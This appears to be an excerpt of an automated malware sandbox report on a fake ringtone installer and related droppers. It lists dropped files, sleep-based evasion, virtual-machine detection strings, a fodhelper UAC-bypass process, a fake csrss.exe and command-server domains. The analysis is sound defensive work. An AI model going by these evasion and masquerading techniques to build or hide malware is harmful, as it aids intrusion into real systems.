Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\tak_deco_lib.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\sqlite3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-8IR3C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\pcm2dsd.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\libsox-3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\dstt.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\libvorbis.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-IN8S5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\bassape.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\bassmix.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\wavpackdll.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-CJTE7.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\basswv.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\basswma.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-TL5BN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\plugins\internal\peak_scanner_plugin_c.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\sd.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\bass_fx.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-656IU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\is-G4SU6.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-2S493.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-69QGT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-J6G3I.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\lame_enc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\7z.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PIQ6M.tmp\D5C5.tmp	Dropped PE file which has not been started: C:\Program Files (x86)\PRingTone\bin\x86\is-JKVC3.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\933A.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_13-37537

Source: C:\Users\user\AppData\Local\Temp\933A.exe

API coverage: 4.7 %

Source: C:\Windows\explorer.exe TID: 6400	Thread sleep time: -64700s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6696	Thread sleep time: -74800s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 6400	Thread sleep time: -77900s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe TID: 2088	Thread sleep count: 9722 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\76D5.exe TID: 2088	Thread sleep time: -972200s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\826E.exe TID: 5252	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8FEE.exe TID: 1436	Thread sleep time: -35971150943733603s >= -30000s	Jump to behavior
Source: C:\ProgramData\Drivers\csrss.exe TID: 3084	Thread sleep count: 9868 > 30
Source: C:\ProgramData\Drivers\csrss.exe TID: 3084	Thread sleep time: -986800s >= -30000s
Source: C:\ProgramData\Drivers\csrss.exe TID: 3588	Thread sleep count: 8551 > 30
Source: C:\ProgramData\Drivers\csrss.exe TID: 3588	Thread sleep time: -855100s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1168	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1456	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe TID: 1720	Thread sleep count: 4443 > 30
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe TID: 1720	Thread sleep time: -8886000s >= -30000s
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe TID: 3968	Thread sleep count: 71 > 30
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe TID: 3968	Thread sleep time: -4260000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6216	Thread sleep time: -4611686018427385s >= -30000s

Source: C:\Program Files (x86)\PRingTone\PRingTone.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\C1FD.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	Last function: Thread delayed
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\8FEE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\PRingTone\PRingTone.exe	Thread delayed: delay time: 60000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ... omitting accept-charsetafter EfiGuardallocfreetracebad allocCountbad record MACbad restart PCbad span statebtc.usebsv.comcert installedchecksum errorcontent-lengthcouldn't patchdata truncateddistributor_iddriver removederror responsefile too largefinalizer waitgcstoptheworldget uptime: %wgetprotobynamegot system PIDinitial serverinternal errorinvalid syntaxis a directorykey size wronglevel 2 haltedlevel 3 haltedmemprofileratemultipartfilesneed more datanil elem type!no module datano such deviceopen event: %wparse cert: %wprotocol errorread certs: %wread_frame_eofreflect.Value.remove app: %wruntime: full=runtime: want=s.allocCount= semaRoot queueserver.versionstack overflowstart task: %wstopm spinningstore64 failedsync.Cond.Waittext file busytime.Location(timeEndPeriodtoo many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.PointeruserArenaStatevirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0xenservice.exezero parameter with GC prog
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: entersyscallexit status failed to %wfound av: %sgcBitsArenasgcpacertracegetaddrinfowgot TI tokenguid_machineharddecommithost is downhttp2debug=1http2debug=2illegal seekinjector.exeinstall_dateinvalid baseinvalid pathinvalid portinvalid slotiphlpapi.dllkernel32.dllmachine_guidmadvdontneedmax-forwardsmheapSpecialmsftedit.dllmspanSpecialnetapi32.dllno such hostnon-existentnot pollableoleaut32.dllout of rangeparse PE: %wproxyconnectrandautoseedrecv_goaway_reflect.Copyreleasep: m=remote errorremoving appruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptsetupapi.dllshort bufferspanSetSpinesweepWaiterstraceStringstraffic/readtransmitfileulrichard.chunexpected )unknown portunknown typevmacthlp.exevmtoolsd.exewatchdog.exewinlogon.exewintrust.dllwirep: p->m=worker mode wtsapi32.dll != sweepgen (default %q) (default %v) MB globals, MB) workers= called from flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= %s/rawaddr/%s%s\%s\drivers, gp->status=, not pointer-bind-address-byte block (3814697265625: unknown pc Accept-RangesAuthorizationCLIENT_RANDOMCONNECTION-IDCONNECT_ERRORCache-ControlCertOpenStoreCoTaskMemFreeConnectServerContent-RangeDONT-FRAGMENTDeleteServiceDestroyWindowDistributorIDECDSAWithSHA1EnumProcessesExitWindowsExFQDN too longFindFirstFileFindNextFileWFindResourceWFreeAddrInfoWGC sweep waitGeoIPFile %s
Source: C1FD.exe, 00000011.00000002.2213490486.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000003.2160333190.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 00000011.00000002.2203382140.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000001B.00000002.4114001709.0000000002DB0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000003.2202746123.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4105881536.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000002.4113654029.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4104507034.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DnsRecordListFreeENHANCE_YOUR_CALMEnumThreadWindowsFLE Standard TimeFailed DependencyGC assist markingGMT Standard TimeGTB Standard TimeGetCurrentProcessGetShortPathNameWHEADER_TABLE_SIZEHKEY_CLASSES_ROOTHKEY_CURRENT_USERHTTP_1_1_REQUIREDIf-Modified-SinceIsTokenRestrictedLookupAccountSidWMESSAGE-INTEGRITYMoved PermanentlyOld_North_ArabianOld_South_ArabianOther_ID_ContinuePython-urllib/2.5QueryWorkingSetExRESERVATION-TOKENReadProcessMemoryRegLoadMUIStringWRtlGetCurrentPebSafeArrayCopyDataSafeArrayCreateExSentence_TerminalSysAllocStringLenSystemFunction036Too Many RequestsTransfer-EncodingUnexpected escapeUnified_IdeographUnknown AttributeVGAuthService.exeWSAEnumProtocolsWWTSQueryUserTokenWrite after CloseWrong CredentialsX-Idempotency-Key\System32\drivers\\.\VBoxMiniRdrDN
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: IP addressIsValidSidKeep-AliveKharoshthiLocalAllocLockFileExLogonUserWManichaeanMessage-IdNo ContentOld_ItalicOld_PermicOld_TurkicOpenEventWOpenMutexWOpenThreadOther_MathPOSTALCODEParseAddr(ParseFloatPhoenicianProcessingPulseEventRIPEMD-160RST_STREAMResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSecureBootSet-CookieShowWindowTor uptimeUser-AgentVMSrvc.exeWSACleanupWSASocketWWSAStartupWget/1.9.1Windows 10Windows 11[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:]\\.\WinMon\patch.exe^{[\w-]+}$app_%d.txtatomicand8attr%d=%s cmd is nilcomplex128connectiondebug calldnsapi.dlldsefix.exedwmapi.dlle.keff.orgexecerrdotexitThreadexp masterfloat32nanfloat64nangetsockoptgoroutine http_proxyimage/avifimage/jpegimage/webpimpossibleindicationinvalid IPinvalidptrkeep-alivemSpanInUsemyhostnameno resultsnot a boolnot signednotifyListowner diedpowershellprl_cc.exeprofInsertres binderres masterresumptionrune <nil>runtime: gs.state = schedtracesemacquiresend stateset-cookiesetsockoptskipping: socks bindstackLarget.Kind == terminatedtext/plaintime.Date(time.Localtracefree(tracegc()
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C00E000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vm detected: vmware: service: vmci
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: acceptactivechan<-closedcookiedirectdomainefenceempty exec: expectfamilygeoip6gopherhangupheaderinternip+netkilledlistenminutenetdnsnumberobjectoriginpopcntrdtscpreadatreasonremoverenamereturnrun-v3rune1 secondselectsendtoserversocketsocks socks5statusstringstructsweep sysmontelnettimersuint16uint32uint64unuseduptimevmhgfsvmxnetvpc-s3wup_hsxennetxensvcxenvdb %v=%v, (conn) (scan (scan) MB in Value> allocs dying= flags= len=%d locks= m->g0= nmsys= pad1= pad2= s=nil
Source: D5C5.tmp, 0000001C.00000002.4106575194.000000000052E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: (MISSING)(unknown), newval=, oldval=, size = , tail = -07:00:00/api/cdn?/api/poll127.0.0.1244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticEVEN-PORTExecQueryFindCloseForbiddenGetDIBitsHex_DigitInheritedInstMatchInstRune1InterfaceKhudawadiLocalFreeMalayalamMongolianMoveFileWNabataeanNot FoundOP_RETURNOSCaptionPalmyreneParseUintPatchTimePublisherReleaseDCRemoveAllSTUN addrSamaritanSee OtherSeptemberSundaneseSysnativeToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUse ProxyVBoxGuestVBoxMouseVBoxVideoWSASendToWednesdayWindows 7WriteFileZ07:00:00[%v = %d][:^word:][:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:]_outboundatomicor8attributeb.ooze.ccbad indirbus errorchallengechan sendcomplex64connectexcopystackcsrss.exectxt != 0d.nx != 0dns,filesecdsa.netempty urlfiles,dnsfn.48.orgfodhelperfork/execfuncargs(gdi32.dllhchanLeafimage/gifimage/pnginittraceinterfaceinterruptinvalid nipv6-icmplocalhostmSpanDeadnew tokennil errorntdll.dllole32.dllomitemptyop_returnpanicwaitpatch.exepclmulqdqpreemptedprintableprofBlockprotocol proxy.exepsapi.dllquestionsreboot inrecover: reflect: rwxrwxrwxscavtracestackpoolsucceededtask %+v
Source: fodhelper.exe, 00000019.00000002.2188262136.0000015B3D6A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0cx
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWriteConsoleW[FrameHeader \\.\VBoxGuestaccept-rangesaccess deniedadvapi32.dll
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C18A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: qemuvirtual
Source: C1FD.exe, 00000011.00000002.2212474597.00000000029B5000.00000040.00000020.00020000.00000000.sdmp, C1FD.exe, 0000001B.00000002.4113310706.00000000028B7000.00000040.00000020.00020000.00000000.sdmp, C1FD.exe, 0000002D.00000002.4112737827.0000000002BD7000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: ameNewaPINGPOSTPathQEMUROOTH
Source: explorer.exe, 00000001.00000000.1693759664.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.1693759664.000000000982D000.00000004.00000001.00020000.00000000.sdmp, 826E.exe, 00000008.00000002.2919863680.000000000060B000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2913568147.000000000060B000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000002.2919415852.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, 826E.exe, 00000008.00000003.2914190851.000000000060B000.00000004.00000020.00020000.00000000.sdmp, 933A.exe, 0000000D.00000003.2356817876.0000000000CA2000.00000004.00000020.00020000.00000000.sdmp, 933A.exe, 0000000D.00000002.3033448721.0000000000C5F000.00000004.00000020.00020000.00000000.sdmp, 933A.exe, 0000000D.00000002.3033448721.0000000000C99000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001D.00000002.2229065148.00000000031E0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001D.00000002.2229065148.00000000031A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C18A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: registry76d5.exevboxtray.exe
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: too many linkstoo many userstorrc filenameunexpected EOFunknown code: unknown error unknown methodunknown mode: unreachable: unsafe.PointeruserArenaStatevirtualbox: %wvmwaretray.exevmwareuser.exewii libnup/1.0winapi error #window createdwork.full != 0xenservice.exezero parameter with GC prog
Source: C1FD.exe, 0000002D.00000002.4111114419.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll*
Source: explorer.exe, 00000001.00000000.1694245342.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: C1FD.exe, 0000002D.00000002.4112737827.0000000002BD7000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: 11VBoxSFWINDIRWD
Source: C1FD.exe, 0000002D.00000002.4122666274.000000000C19C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray.exevboxservice.exeOpenSCManagerWOpenServiceW$
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C012000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: *[]pkcs7.attributehttps://statscreate.orghttps://statscreate.orgRegQueryValueExWUUIDGetExitCodeProcess[System Process]vgauthservice.exeSystemvgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exefontdrvhost.exevgauthservice.exefontdrvhost.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exeMemory Compressionmemory compressionvgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exeOfficeClickToRun.exeofficeclicktorun.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exeoIacoWbOok.exevgauthservice.exevgauthservice.exevgauthservice.exevgauthservice.exeTrustedInstaller.exetrustedinstaller.exevgauthservice.exevgauthservice.exevgauthservice.exevmciQueryServiceStatusExvmware: service: vmcicsrsscsrss
Source: 76D5.exe, 00000007.00000002.4108340411.00000000008A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: C1FD.exe, 0000002D.00000002.4115076867.000000000C012000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vHKEY_USERS\S-1-5-21-2246122658-3693405117-2476756634-1002advapi32.dllec18cc804e11e9b7228bbd1e0acb1834c1ee21d352824f5d5f47c347ac266372ec18cc804e11e9b7228bbd1e0acb1834c1ee21d352824f5d5f47c347ac266372advapi32.dllServiceVersion\\.\VBoxGuest\\.\VBoxTrayIPC[System Process]fontdrvhost.exefontdrvhost.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exeoIacoWbOok.exePRingTone.exeadvapi32.dllConnectServerCOMPUTERNAME=910646OS=Windows_NTPROCESSOR_LEVEL=6SystemDrive=C:TEMP=C:\Windows\TEMPTMP=C:\Windows\TEMPUSERDOMAIN=WORKGROUPUSERNAME=user-PC$windir=C:\Windows
Source: explorer.exe, 00000001.00000000.1691646439.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: C1FD.exe, 0000002D.00000002.4112737827.0000000002BD7000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: aryvmcixn-SR-%W
Source: explorer.exe, 00000001.00000000.1694245342.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: C1FD.exe, 0000002D.00000003.2257422234.00000000038C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: tracebackunderflowunhandleduninstallunzip Torunzip: %wurn:uuid:w3m/0.5.1wbufSpanswebsocketxenevtchn} stack=[ netGo = MB goal, flushGen for type gfreecnt= heapGoal= pages at ptrSize= runqsize= runqueue= s.base()= spinning= stopwait= stream=%d sweepgen sweepgen= targetpc= throwing= until pc=%!(NOVERB)%!Weekday(%s.uuid.%s%s\|%s%s\|%s(BADINDEX), bound = , limit = -noprofile-uninstall.localhost/dev/stdin/etc/hosts/show-eula12207031256103515625: parsing :authorityAdditionalBad varintCampaignIDCancelIoExChorasmianClassCHAOSClassCSNETConnectionContent-IdCreateFileCreatePipeDSA-SHA256DeprecatedDevanagariDnsQuery_WECDSA-SHA1END_STREAMERROR-CODEException GC forced
Source: explorer.exe, 00000001.00000000.1691646439.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: C1FD.exe, 0000002D.00000003.2257422234.0000000003D02000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: main.isRunningInsideVMWare
Source: explorer.exe, 00000001.00000000.1693759664.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: explorer.exe, 00000001.00000000.1691646439.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
